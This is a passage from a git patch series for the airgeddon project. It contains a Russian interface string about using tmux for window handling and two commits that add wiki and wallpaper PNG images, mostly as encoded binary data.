arr["RUSSIAN",626]="${pending_of_translation} Начиная с версии airgeddon 9.20, tmux поддерживается и может использоваться вместо xterm в качестве обработчика Windows. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров ${rc_file} или запустить с помощью AIRGEDDON_WINDOWS_HANDLING \"flag\" в командной строке. Больше информации о настройке опций на Wiki: ${urlgithub_wiki}/Options" From e1074ac185cd0076a90563fae6453e046a060048 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 18 Apr 2019 09:56:23 +0200 Subject: [PATCH 138/148] Added npm image used in Wiki --- imgs/wiki/npm.png | Bin 0 -> 19069 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 imgs/wiki/npm.png diff --git a/imgs/wiki/npm.png b/imgs/wiki/npm.png new file mode 100644 index 0000000000000000000000000000000000000000..44044e5aee241b9f8df019512d27c05ecd1b7cdd GIT binary patch literal 19069 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 Date: Fri, 19 Apr 2019 10:22:34 +0200 Subject: [PATCH 139/148] Added wallpaper images (black and white) to be used at Wiki --- .../airgeddon_wallpaper_black_1920x1080.png | Bin 0 -> 165974 bytes .../airgeddon_wallpaper_white_1920x1080.png | Bin 0 -> 170259 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 imgs/wiki/airgeddon_wallpaper_black_1920x1080.png create mode 100644 imgs/wiki/airgeddon_wallpaper_white_1920x1080.png diff --git a/imgs/wiki/airgeddon_wallpaper_black_1920x1080.png b/imgs/wiki/airgeddon_wallpaper_black_1920x1080.png new file mode 100644 index 0000000000000000000000000000000000000000..6e241f2c445d1cf56c56222b8d537b7c547716c8 GIT binary patch literal 165974 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 